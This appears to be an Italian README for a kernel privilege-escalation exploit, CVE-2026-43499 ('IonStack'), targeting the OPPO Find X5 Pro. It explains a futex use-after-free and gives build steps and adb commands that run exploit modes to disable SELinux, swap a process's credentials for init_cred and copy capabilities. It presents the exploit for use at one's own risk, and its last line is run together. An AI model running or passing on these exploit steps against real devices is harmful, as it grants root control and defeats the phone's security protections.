
Ricerca GhostLock (CVE-2026-43499 / IonStack) per OPPO Find X5 Pro (PFEM10): catena di exploit, progressi, registro dei blocchi e note sul kernel della serie OPPO 5
Exploit CVE-2026-43499 (IonStack) per OPPO Find X5 Pro (PFEM10).
Kernel 5.10.236-android12-9-o, futex CMP_REQUEUE_PI UAF → primitiva di scrittura pi-tree.
Usare a proprio rischio. Aspettarsi panic / riavvii. Non aggiornare il firmware.
./build.sh # richiede Android NDK r28c
I parametri di build sono fissi (-O1 / android26) — modificarli rompe la calibrazione della geometria dello stack.
adb push exploit /data/local/tmp/
adb shell /data/local/tmp/exploit W1 # SELinux permissive
adb shell /data/local/tmp/exploit W2 # child cred -> init_cred
adb shell /data/local/tmp/exploit W5 # caps-only cred copy
Riprovare tra un riavvio e l'altro: bash run.sh <mode> [attempts]
src/ exploit + payload + offsets (exploit.c, payload.c, pfem10_target.h)
lib/ KernelSnitch heap-leak library
model/ rtmutex chain-walk model (host verification)
oplus_root_check, percorso caps-only in corso)CyberMeowfia · IonStack (exploit originale)